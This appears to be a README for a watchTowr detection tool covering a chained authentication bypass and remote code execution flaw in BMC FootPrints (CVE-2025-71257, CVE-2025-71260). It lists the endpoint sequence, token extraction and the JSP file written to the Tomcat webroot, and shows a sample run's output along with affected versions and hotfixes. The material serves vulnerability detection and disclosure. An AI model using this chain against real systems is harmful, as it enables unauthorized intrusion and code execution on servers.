CVE-2025-71257 and CVE-2025-71260 BMC FootPrints Pre-Authenticated Remote Code Execution Chain

BMC FootPrints Pre-Authenticated Remote Code Execution Chain Detection Artifact Generator Tool

Description

This Detection Artifact Generator verifies if BMC FootPrints instance is vulnerable to CVE-2025-71257 and CVE-2025-71260.

Detection Artifact Generator attempts to perform two operations:

Bypass authentication with CVE-2025-71257 - this check is very accurate.
If it is successful, it tries to verify the CVE-2025-71260 RCE by writing a ranomized .jsp file to the tomcat servers webroot. This .jsp file just enumerates system information.

Detection in Action

Test against vulnerable instance:

python3 watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260.py http://192.168.2.2
                         __         ___  ___________                   
         __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________ 
         \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
          \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/
           \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|   
                                  \/          \/     \/                            
          
        watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260.py

        (*) BMC Footprints Authentication Bypass and Remote Code Execution Detection Artifact Generator Tool
        
          - Sonny , watchTowr ([email protected])

        CVEs: [CVE-2025-71257, CVE-2025-71260]
        
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Detection Artifact Generator Tool
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Target: http://192.168.2.2

[+] Making first request to: http://192.168.2.2/footprints/servicedesk/passwordreset/request/
[+] Successfully extracted SEC_TOKEN: wgLCxepla-NTW9VSXIxyzNiq7HFJ0-CEFnbzlObKu3Ktv3B33h

[+] Making second request to: http://192.168.2.2footprints/servicedesk/aspnetconfig
[+] Using token: wgLCxepla-NTW9VSXIxyzNiq7HFJ0-CEFnbzlObKu3Ktv3B33h
[+] Using randomized JSP name: MNdeu12Wf

[+] Making third request to: http://192.168.2.2/MNdeu12Wf.jsp (randomized artifact)

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EXTRACTED INFORMATION:
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Username: LOCAL SERVICE
Working Directory: C:\Program Files\Apache Software Foundation\Tomcat 9.0
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[+] Detection Artifact Generator Completed!

Affected Versions

BMC FootPrints: from 20.20.02 to 20.24.01.001

Hotfixes Available

20.20.02, 20.20.03.002, 20.21.01.001, 20.21.02.002, 20.22.01, 20.22.01.001, 20.23.01, 20.23.01.002, 20.24.01

References: https://docs.bmc.com/xwiki/bin/view/More-Products/Footprints/FootPrints/fp2024/Release-notes/2024-Release-01-Patch-2/

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